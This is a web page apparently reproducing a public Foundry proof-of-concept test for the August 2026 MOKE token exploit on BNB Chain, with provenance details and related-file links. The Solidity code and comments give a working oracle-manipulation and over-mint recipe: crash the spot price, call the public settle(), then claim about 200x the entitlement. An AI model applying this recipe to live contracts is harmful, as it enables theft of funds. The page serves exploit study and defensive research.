Public reproduction file
src/test/2026-10/MOKE_exp.sol
Public reproduction file for dataset entry MOKE.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: MIT2pragma solidity ^0.8.20;4import "forge-std/Test.sol";6// MOKE (Moke) - claim() over-mint via a public price settle on a manipulable spot oracle,7// reached by EIP-7702 self-delegation. BNB Chain, Aug 2026.8//9// Exploit tx : 0x0776048b1b58064fb31b6513721811e7b44d6bdbe7bf5833158b241ca6756a8f (block 113652609)10// Attacker : 0xE454a9BAC1a44868e4A9Cbe1a4B5ac231D0DCF8a (EIP-7702 self-delegated EOA)11// Verified contracts (sourcify): MokeRelease 0x684D722E, MokeToken 0x1A35C16c.12//13// Root cause (confirmed against the verified MokeRelease source, not the alert text):14// - claim() mints MOKE out of the reserve pool to the caller as `pendingUsdt / settledMokePrice`15// (MokeRelease.claim -> MokeToken.releaseFromPair). `pendingUsdt` vests from the caller's own16// release quota, so claim() is gated by the caller HAVING a quota - the attacker EOA already17// held a legitimate 45,000 USDT quota as a protocol participant.18// - settle() sets `settledMokePrice = getMokeUsdtPrice()` from the live MOKE/BNB * BNB/USDT spot19// reserves, and its only guard is:20// require(isSettler[msg.sender] || msg.sender == owner() || msg.sender == tx.origin, ...)21// The `msg.sender == tx.origin` arm makes settle() callable by ANY externally-owned account.22// So a quota holder can crash the MOKE/BNB spot, call settle() to latch that crashed price, then23// call claim(): the same quota now mints ~`quota / crashedPrice` MOKE - here 41,684,057 MOKE from24// a 45,000 USDT quota (settled price fell from 0.219 to ~0.000594 USDT), a ~200x over-mint. The25// claim-time deviation check passes because the live price still equals the just-settled crashed26// price. No admin/owner/governance/signature step stands in the attacker's path: the quota is the27// attacker's own participant allocation, and settle()/claim()/the price-crash swaps are all public.28//29// WHY EIP-7702 / how this PoC substitutes for it:30// settle()'s `msg.sender == tx.origin` guard rejects a plain attacker *contract* (msg.sender would31// be the contract, tx.origin the EOA). The real attacker delegated their OWN EOA to their OWN code32// via an EIP-7702 set-code tx installed in an earlier block, so the exploit ran AS the EOA with33// msg.sender == tx.origin. Foundry 1.7.1 cannot construct/replay a 7702 set-code tx here, so this34// PoC reproduces the identical condition by driving the typed calls directly from the attacker EOA35// under vm.startPrank(ATTACKER, ATTACKER), which sets msg.sender == tx.origin == ATTACKER. This is36// a faithful substitution for the self-delegation, not a different access path.37//38// SCOPE / what this asserts:39// This PoC proves the vulnerability and its direct on-chain effect: the claim() over-mint. It40// asserts the stolen MOKE (~41,684,057 MOKE minted from the reserve for a 45,000 USDT quota).41// The real tx then LAUNDERED that stolen MOKE to 1546.536757 BNB through the project's own42// MokeLPDividend vault and ~100 pre-seeded LP-holder accounts (plus Moolah/Venus flash loans for43// working capital). The released MOKE is transfer-locked to whitelisted handlers (MokeToken44// _update), so that cash-out is not a free market sell - it depends on the attacker's pre-seeded45// 100-account dividend position and is attacker plumbing, not the bug. It is NOT reconstructed46// here; 1546.54 BNB is the laundered realization of the theft asserted below. The MOKE used to47// crash the spot is supplied via deal() in place of the real flash-loan sourcing.48//49// Run (prague required for the Venus-era state; self-contained BSC archive fork):50// forge test --contracts ./src/test/2026-10/MOKE_exp.sol --evm-version prague -vvv52interface IERC20 {53 function balanceOf(address) external view returns (uint256);54 function approve(address, uint256) external returns (bool);55}57interface IMokeToken is IERC20 {58 function releasedMokeBalance(address) external view returns (uint256);59}61interface IMokeRelease {62 function settle() external;63 function claim() external payable;64 function settledMokePrice() external view returns (uint256);65 function claimFee() external view returns (uint256);66 function userRelease(address)67 external68 view69 returns (uint256 totalQuotaUsdt, uint256 pendingUsdt, uint256 claimedUsdt, uint256 lastReleaseFactor, uint256 lastClaimTime, uint256 claimedSnapshotAtReset);70 function getMokeUsdtPrice() external view returns (uint256);71}73interface IPancakeRouter {74 function swapExactTokensForTokensSupportingFeeOnTransferTokens(75 uint256 amountIn,76 uint256 amountOutMin,77 address[] calldata path,78 address to,79 uint256 deadline80 ) external;81}83contract MOKE_exp is Test {84 address internal constant ATTACKER = 0xE454a9BAC1a44868e4A9Cbe1a4B5ac231D0DCF8a;85 IMokeToken internal constant MOKE = IMokeToken(0x1A35C16cE21903Bc17Fd020c4ED73fEdC70c1b2A);86 IMokeRelease internal constant RELEASE = IMokeRelease(0x684D722EbF8980f49492f631f56765DD4Fb302A7);87 address internal constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;88 address internal constant USDT = 0x55d398326f99059fF775485246999027B3197955;89 IPancakeRouter internal constant ROUTER = IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);91 uint256 internal constant EXPLOIT_BLOCK = 113_652_609;92 // Real minted amount from the attacker EOA's single claim in the exploit trace.93 uint256 internal constant REAL_STOLEN_MOKE = 41_684_057_233944649146143063;95 string internal constant BSC_ARCHIVE = "https://bsc-mainnet.public.blastapi.io";97 function setUp() public {98 vm.createSelectFork(BSC_ARCHIVE, EXPLOIT_BLOCK - 1);99 vm.label(ATTACKER, "Attacker");100 vm.label(address(MOKE), "MOKE");101 vm.label(address(RELEASE), "MokeRelease");102 }104 function testExploit() public {105 (uint256 quota,,,,,) = RELEASE.userRelease(ATTACKER);106 uint256 priceBefore = RELEASE.getMokeUsdtPrice();107 emit log_named_decimal_uint("Attacker quota (USDT)", quota, 18);108 emit log_named_decimal_uint("MOKE/USDT price before", priceBefore, 18);110 // WBNB used only to crash the BNB/USDT oracle pair (stands in for the real flash-loan sourcing).111 uint256 dumpWbnb = 633_000 ether;112 deal(WBNB, ATTACKER, dumpWbnb);114 vm.startPrank(ATTACKER, ATTACKER); // msg.sender == tx.origin, reproducing the 7702 self-delegation116 // 1. Crash the BNB/USDT spot (0x16b9a8..) that getMokeUsdtPrice() reads as its BNB price.117 IERC20(WBNB).approve(address(ROUTER), type(uint256).max);118 address[] memory path = new address[](2);119 path[0] = WBNB;120 path[1] = USDT;121 ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(dumpWbnb, 0, path, ATTACKER, block.timestamp);123 // 2. Latch the crashed price via the public settle() (passes on msg.sender == tx.origin).124 RELEASE.settle();125 emit log_named_decimal_uint("settledMokePrice after crash", RELEASE.settledMokePrice(), 18);127 // 3. Claim: the 45,000 USDT quota now mints quota/crashedPrice MOKE from the reserve pool.128 uint256 relBefore = MOKE.releasedMokeBalance(ATTACKER);129 RELEASE.claim{value: RELEASE.claimFee()}();130 uint256 stolen = MOKE.releasedMokeBalance(ATTACKER) - relBefore;132 vm.stopPrank();134 emit log_named_decimal_uint("MOKE over-minted by claim()", stolen, 18);135 // Honest entitlement for the same quota at the pre-crash price, for contrast.136 emit log_named_decimal_uint("honest MOKE at pre-crash price", quota * 1e18 / priceBefore, 18);138 // The direct bug impact: claim() mints ~41.68M MOKE (matches the real attacker EOA claim).139 assertApproxEqRel(stolen, REAL_STOLEN_MOKE, 0.05e18);140 }141}Analysis
Dataset entry
Public Foundry test for “MOKE” (2026-08-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-10/BitBay_exp.solSame month in the dataset · 200 lines
- src/test/2026-10/CrowdRingCircle_exp.solSame month in the dataset · 143 lines
- src/test/2026-10/FlashLoopAdapter_exp.solSame month in the dataset · 345 lines
- src/test/2026-10/GoldPesa_exp.solSame month in the dataset · 288 lines
- src/test/2026-10/KolanHook_exp.solSame month in the dataset · 261 lines
- src/test/2026-10/MakerDAOFlipKeeper_exp.solSame month in the dataset · 215 lines
- src/test/2026-10/MALT_exp.solSame month in the dataset · 194 lines
- src/test/2026-10/PerpetualProtocol_exp.solSame month in the dataset · 165 lines
- src/test/2026-10/SetProtocolETHMACOAPY_exp.solSame month in the dataset · 211 lines
- src/test/2026-10/UNCXSmartTokenVesting_exp.solSame month in the dataset · 378 lines
- src/test/2026-10/X7Finance_exp.solSame month in the dataset · 160 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xe454a9bac1a44868e4a9cbe1a4b5ac231d0dcf8a
File record
- Name
- MOKE
- Path
- src/test/2026-10/MOKE_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ea7fb3f7fb512f5d8eeeb669888f64b9a91d4d9d
- Language
- Solidity
- Size
- 142 lines
- Date
- 2026-08-02
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-10/MOKE_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ea7fb3f7fb512f5d8eeeb669888f64b9a91d4d9d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.